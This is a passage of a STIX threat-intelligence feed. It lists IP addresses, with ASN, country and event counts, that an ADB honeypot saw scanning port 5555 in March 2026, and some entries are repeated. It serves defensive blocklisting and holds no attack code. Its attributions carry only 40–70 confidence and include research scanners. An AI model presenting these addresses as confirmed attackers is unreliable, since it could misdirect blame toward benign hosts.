      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-05T02:20:12.000Z | last_seen=2026-03-10T08:32:58.277Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-05T02:20:12.000Z",
          "last_seen": "2026-03-10T08:32:58.277Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T02:19:31.000Z | last_seen=2026-03-05T02:20:35.319Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2b940ee0-63bc-4358-b94e-6ec30d94afb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:00:04.000Z",
      "valid_until": "2026-04-06T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T02:19:31.000Z",
          "last_seen": "2026-03-05T02:20:35.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T03:19:47.000Z | last_seen=2026-03-05T03:21:22.191Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--321dfa84-7d1e-444e-a4f9-119efe19c806",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.198.16.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:00:02.000Z",
      "valid_until": "2026-04-06T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T03:19:47.000Z",
          "last_seen": "2026-03-05T03:21:22.191Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T03:19:47.000Z | last_seen=2026-03-05T03:21:22.191Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--321dfa84-7d1e-444e-a4f9-119efe19c806",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.198.16.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:00:02.000Z",
      "valid_until": "2026-04-06T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T03:19:47.000Z",
          "last_seen": "2026-03-05T03:21:22.191Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T05:37:13.000Z | last_seen=2026-03-05T05:38:22.702Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--f166f4f5-6cc7-471a-b417-9fae31f3eb43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.135.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:00:04.000Z",
      "valid_until": "2026-04-06T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T05:37:13.000Z",
          "last_seen": "2026-03-05T05:38:22.702Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T06:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-05T05:37:13.000Z | last_seen=2026-03-05T05:38:22.702Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--f166f4f5-6cc7-471a-b417-9fae31f3eb43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.135.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T06:00:13.000Z",
      "valid_until": "2026-04-06T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-05T05:37:13.000Z",
          "last_seen": "2026-03-05T05:38:22.702Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=GB; asn=209605; asn_org=UAB Host Baltic; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-05T06:34:33.000Z | last_seen=2026-03-13T13:36:12.437Z | ports=5555 | cc=GB | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--213793c6-fb00-4dcf-85b0-588016536a46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:00:04.000Z",
      "valid_until": "2026-04-06T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-05T06:34:33.000Z",
          "last_seen": "2026-03-13T13:36:12.437Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=GB; asn=209605; asn_org=UAB Host Baltic; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-05T06:34:33.000Z | last_seen=2026-03-13T13:36:12.437Z | ports=5555 | cc=GB | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--213793c6-fb00-4dcf-85b0-588016536a46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T07:00:04.000Z",
      "valid_until": "2026-04-06T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-05T06:34:33.000Z",
          "last_seen": "2026-03-13T13:36:12.437Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T08:00:59.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-05T07:38:08.000Z | last_seen=2026-03-26T07:55:15.404Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--fa34f966-8202-4822-9113-d6d8c76d26e0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T08:00:59.000Z",
      "valid_until": "2026-04-06T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-05T07:38:08.000Z",
          "last_seen": "2026-03-26T07:55:15.404Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=DE; asn=213438; asn_org=ColocaTel Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=33 | first_seen=2026-03-05T10:34:43.000Z | last_seen=2026-03-11T08:55:29.690Z | ports=5555 | cc=DE | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--4c590774-1287-49d7-a9e6-111714545876",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '193.142.147.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T11:00:03.000Z",
      "valid_until": "2026-04-06T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 33,
          "first_seen": "2026-03-05T10:34:43.000Z",
          "last_seen": "2026-03-11T08:55:29.690Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T12:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-05T11:13:33.000Z | last_seen=2026-03-22T01:57:47.999Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--e29e101d-fdf4-4203-8e33-c5ae2856157f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.248.133.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T12:00:12.000Z",
      "valid_until": "2026-04-06T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-05T11:13:33.000Z",
          "last_seen": "2026-03-22T01:57:47.999Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=NL; asn=213438; asn_org=ColocaTel Inc.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-05T12:39:19.000Z | last_seen=2026-03-06T01:39:02.230Z | ports=5555 | cc=NL | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--0114f5fa-0e8f-4a80-8f2d-a79c041c53c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.196.220.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T13:00:02.000Z",
      "valid_until": "2026-04-06T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-05T12:39:19.000Z",
          "last_seen": "2026-03-06T01:39:02.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=138423; asn_org=CMPak Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-05T12:31:40.000Z | last_seen=2026-03-05T12:41:51.507Z | ports=5555 | cc=PK | asn=138423 | org=CMPak Limited",
      "id": "indicator--da93830c-4cae-4186-a33e-f46f3d9bd209",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T13:00:02.000Z",
      "valid_until": "2026-04-06T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-05T12:31:40.000Z",
          "last_seen": "2026-03-05T12:41:51.507Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "138423"
          ],
          "org": [
            "CMPak Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-05T15:47:27.000Z | last_seen=2026-03-28T15:48:53.385Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3323033d-4e01-443d-b8f1-063c09cc3d9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:00:02.000Z",
      "valid_until": "2026-04-06T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-05T15:47:27.000Z",
          "last_seen": "2026-03-28T15:48:53.385Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-05T15:47:27.000Z | last_seen=2026-03-28T15:48:53.385Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3323033d-4e01-443d-b8f1-063c09cc3d9d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T16:00:02.000Z",
      "valid_until": "2026-04-06T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-05T15:47:27.000Z",
          "last_seen": "2026-03-28T15:48:53.385Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=53 | first_seen=2026-03-05T16:53:25.000Z | last_seen=2026-03-14T19:15:02.200Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--60da2ccf-5ef2-4d2c-bf88-a40d19ac1fad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.141.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T17:00:02.000Z",
      "valid_until": "2026-04-06T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-05T16:53:25.000Z",
          "last_seen": "2026-03-14T19:15:02.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T17:00:04.000Z",
